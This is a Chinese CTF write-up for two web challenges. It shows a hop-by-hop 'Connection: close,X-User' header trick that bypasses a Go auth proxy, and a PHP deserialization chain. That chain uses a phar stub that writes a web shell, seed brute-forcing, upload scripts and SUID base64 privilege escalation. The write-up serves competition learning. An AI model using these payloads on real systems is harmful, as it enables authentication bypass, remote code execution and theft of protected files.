
这次我就做了两个web。跟V&N的兄弟们拿了个25名,勉强晋级决赛。这是V&N第一次打进强网正赛。我们创造了历史。
因为我时间比较紧张,就只写我做的两题了。
Web
2.Secret Vault
一个python的web app。flask。有个go的鉴权服务器。这个服务器有个后端,来自github.com/gorilla/mux,有一段签名逻辑,开在4444端口
go的鉴权服务器有个中间件。开在5555,会从主服务器(5000)中获取JWT密钥,验证并提取uid,然后删掉一些头:
1 2 3 4
| req.Header.Del("Authorization") req.Header.Del("X-User") req.Header.Del("X-Forwarded-For") req.Header.Del("Cookie")
|
然后将X-User设置为uid。
客户机向主服务器(5000)交一段JWT的auth信息,通过过中间件处理后,会返回uid。如果中间件验证失败就是anonymous,也就是鉴权失败。
他这个主服务器上的鉴权:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| def login_required(view_func): @wraps(view_func) def wrapped(*args, **kwargs): uid = request.headers.get('X-User', '0') print(uid) if uid == 'anonymous': flash('Please sign in first.', 'warning') return redirect(url_for('login')) try: uid_int = int(uid) except (TypeError, ValueError): flash('Invalid session. Please sign in again.', 'warning') return redirect(url_for('login')) user = User.query.filter_by(id=uid_int).first() if not user: flash('User not found. Please sign in again.', 'warning') return redirect(url_for('login'))
g.current_user = user return view_func(*args, **kwargs)
return wrapped
|
如果获取失败uid就是0,uid是0的用户正好是admin。
1 2 3 4 5 6
| user = User( id=0, username='admin', password_hash=password_hash, salt=base64.b64encode(salt).decode('utf-8'), )
|
所以我们现在就是要想个办法让中间件的返回头里没有 X-User
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| func main() { authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) { req.URL.Scheme = "http" req.URL.Host = "127.0.0.1:5000"
uid := GetUIDFromRequest(req) log.Printf("Request UID: %s, URL: %s", uid, req.URL.String()) req.Header.Del("Authorization") req.Header.Del("X-User") req.Header.Del("X-Forwarded-For") req.Header.Del("Cookie")
if uid == "" { req.Header.Set("X-User", "anonymous") } else { req.Header.Set("X-User", uid) } }}
|
我们传入:
1
| Connection: close,X-User
|
此时不管中间件传回怎样的X-User值,在客户机与中间件的Connection被Connection Header给close掉之后,也根据RFC HTTP1/1的规范(为了向下兼容)将X-User置空。因此我们得到了空的X-User。
在uid = request.headers.get('X-User', '0')中,我们得到了uid为0的用户的登录权限。
之后我们直接就能看到明文flag。
最后的包:
1 2 3 4 5 6 7 8 9 10 11
| GET /dashboard HTTP/1.1 Host: 39.106.47.249:33002 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://39.106.47.249:33002/login Accept-Encoding: gzip, deflate, br Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlZ2lzdHJhdGlvbiBzdWNjZXNzZnVsLiBQbGVhc2Ugc2lnbiBpbi4iXX1dfQ.aPL-ZA.tZC2005ISCmkE8hJbh-zz9iu_qE; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc1ODkwNCwibmJmIjoxNzYwNzU1MzA0LCJpYXQiOjE3NjA3NTUzMDQsInVpZCI6IjEifQ.gg-1I8lk7m-mvmWo0X7pSXY9auJQ31sn1G-gcUzRGro Connection: close,X-User
|
flag{698d8138-f41d-4f03-9301-3b37f0b2dd7b}
3.EZ PHP
1
| <?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
|
base64解码后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; }
date_default_timezone_set('Asia/Shanghai');
class test { public $readflag; public $f; public $key;
public function __construct() { $this->readflag = new class { public function __construct() { if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $time = date('Hi'); $filename = $GLOBALS['filename']; $seed = $time . intval($filename); mt_srand($seed); $uploadDir = 'uploads/'; $files = glob($uploadDir . '*'); foreach ($files as $file) { if (is_file($file)) { unlink($file); } } $randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.' . 'jpg'; $GLOBALS['file'] = $newFilename; $uploadedFile = $_FILES['file']['tmp_name']; $uploadPath = $uploadDir . $newFilename; if (system("cp " . $uploadedFile . " " . $uploadPath)) { echo "success upload!"; } else { echo "error"; } } }
public function __wakeup() { phpinfo(); }
public function readflag() { function readflag() { if (isset($GLOBALS['file'])) { $file = $GLOBALS['file']; $file = basename($file); if (preg_match('/:\/\//', $file)) { die("error"); } $file_content = file_get_contents("uploads/" . $file); if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) { die("Illegal content detected in the file."); } include("uploads/" . $file); } } } }; }
public function __destruct() { $func = $this->f; $GLOBALS['filename'] = $this->readflag; if ($this->key == 'class') { new $func(); } else if ($this->key == 'func') { $func(); } else { highlight_file('index.php'); } } }
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N'; @unserialize($ser);
|
我们正常走destruct看phpinfo
1
| O:4:"test":2:{s:1:"f";s:7:"phpinfo";s:3:"key";s:4:"func";}
|
这里禁止了很多。但是因为源码里有system所以我们可以直接用system去RCE。这个WAF就绕过去了。
观察源代码 我们思路就是:
好。现在的问题是怎么调这个匿名类的readflag。
匿名类遵循这样的规则:
%00 + 函数 + 路径 : 行号$序号
但是这里是eval里注册的,我们起一个示例看看。
1 2 3
| <?php eval('$b = new class{};'); echo get_class($b);
|
随便注册一个eval里的动态函数你就能发现:
1
| class@anonymous/tmp/sandbox.s0-s0;c428,c730/home/.code.tio(2) : eval()'d code0x7f26184710c7
|
这个行号是eval()’d code+数字。别的是一样的。
这个eval函数在第一行(所以括号里的行号是1),同时eval解出来之后所有函数都堆在一行(所以$前面的行号是第一行),所以不难推出他这个名字是:
1
| \0readflag/var/www/html/index.php(1) : eval()\'d code:1$序号
|
还有就是,php反序列化时有:
1
| $func = array('类名','函数名')
|
这样我们有匿名类类名就能调用到匿名类的readflag,这样就能声明到了。
很容易搓:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class test { public $readflag; public $f; public $key;
public function __construct() { } }
$a = new test(); $a -> readflag = 名字; $a -> f = 'test'; $a -> key = 'class'; $b = new test(); $b -> f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readflag'); $b -> key = 'func';
echo serialize($a); echo ' '; echo serialize($b);
|
这里contruct里的东西全部都要删了。不然没法反序列化也没法序列化(php 7+)
搞完这个我们就可以稳定include了:
1 2 3 4 5 6 7 8
| import requests target = 'http://localhost:8000/' a = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}' b = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'
pay = 'a:2:{i:0;'+a+'i:1;'+b+'}' res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))}) print(res.text)
|
之后我们来想想这个文件传什么。
参考:https://fushuling.com/index.php/2025/07/30/当include邂逅phar-deadsecctf2025-baby-web/
同款构造方法。我们搞一个phar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $phar = new Phar('exploit.phar'); $phar->startBuffering();
$stub = <<<'STUB' <?php system('echo "<?php system(\$_GET[1]); ?>" > 1.php'); __HALT_COMPILER(); ?> STUB;
$phar->setStub($stub); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering();
?>
|
改名为1,gzip压缩(不然你压缩完出来文件里有phar会被waf)
搞完1.gz 备用。
接下来我们就看看怎么去把phar搞到文件名里。这里我们发现:
1 2
| $seed = $time . intval($filename); mt_srand($seed);
|
filename可控。我们可以爆破种子去搞seed。使generateRandomString生成的文件名以phar开头。
这里直接找AI搓:https://chat.deepseek.com/share/u25k3dd01q3ly9h40t
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php date_default_timezone_set('Asia/Shanghai'); function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; }
// 获取当前时间(Hi格式) $currentTime = date('Hi'); echo "当前时间: " . $currentTime . "\n"; echo "正在寻找前四个字符为 'phar' 的字符串...\n\n";
$found = false; $attempts = 0; $maxAttempts = 10000000; // 最大尝试次数,防止无限循环
// 尝试不同的整型后缀 for ($i = 0; $i < $maxAttempts; $i++) { $attempts++; // 构建种子:当前时间 + 整型数字 $seed = $currentTime . $i; // 设置随机数种子 mt_srand((int)$seed); srand((int)$seed); // 注意:generateRandomString 使用 rand() 而不是 mt_rand() // 生成随机字符串 $randomString = generateRandomString(8); // 检查前四个字符是否为 "phar" if (substr($randomString, 0, 4) === 'phar') { echo "找到符合条件的字符串!\n"; echo "种子: " . $seed . "\n"; echo "生成的字符串: " . $randomString . "\n"; echo "尝试次数: " . $attempts . "\n"; $found = true; break; } // 每10000次显示一次进度 if ($attempts % 10000 === 0) { echo "已尝试 " . $attempts . " 次...\n"; } }
if (!$found) { echo "在 " . $maxAttempts . " 次尝试内未找到符合条件的字符串。\n"; echo "建议:\n"; echo "1. 增加最大尝试次数\n"; echo "2. 检查当前时间是否已变化\n"; echo "3. 考虑使用更大的数字范围\n"; } ?>
|
这里记得设置时区!!!!!
然后我们就正常做就行,运行上面那个exp,爆破到当前分钟的种子:
然后把这玩意放到readflag属性里,上传1.gz:
1 2 3 4 5 6 7 8 9
| import requests # a:3:{i:0;O:4:"test":3:{s:8:"readflag";s:6:"104206";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}i:1;O:4:"test":3:{s:8:"readflag";N;s:1:"f";a:2:{i:0;s:62:"class@anonymous/var/www/html/index.php(1) : eval()'d code:1$0";i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:2;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}} target = 'http://localhost:8000/' a = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}' b = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'
pay = 'a:2:{i:0;'+a+'i:1;'+b+'}' res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))}) print(res.text)
|
直接传,搞到1.php的shell。发现/flag要提权。
我们这里找一下SUID提权:
1
| find / -user root -perm -4000 -print 2>/dev/null
|
发现有base64。参考:https://gtfobins.github.io/gtfobins/base64/
1
| base64 "/flag" | base64 --decode
|
flag{145f3a7d-5596-4fb3-8092-90c15ebd3171}
后记
后面是一些感想。
今年九月之后我正式步入中六(高三)的生活了。每天被试题淹没的我真的很缺如此一场酣畅淋漓的CTF恢复心态。这次是真爆肝了一整个周末。ezphp一题我从第一天下午2点看到凌晨3点,又从第二天7点看到下午3点才解出来。
感谢队友的一路陪伴。最近我考试特别多,也忙得晕头转向的,我没想到居然能从CTF这里找到如此大的鼓励和安慰。感谢V&N的师傅们这次在我的17岁留下如此的回忆,就像你们往常做的那样。
在和队里的pwn手和web手一起做出来go2php这道web pwn之后,我明白,CTF从来不是一个人的游戏。没有MVP,也没有躺赢狗。少一个人都赢不了比赛。这是我们热血沸腾的组合技。
热泪盈眶,不知所言。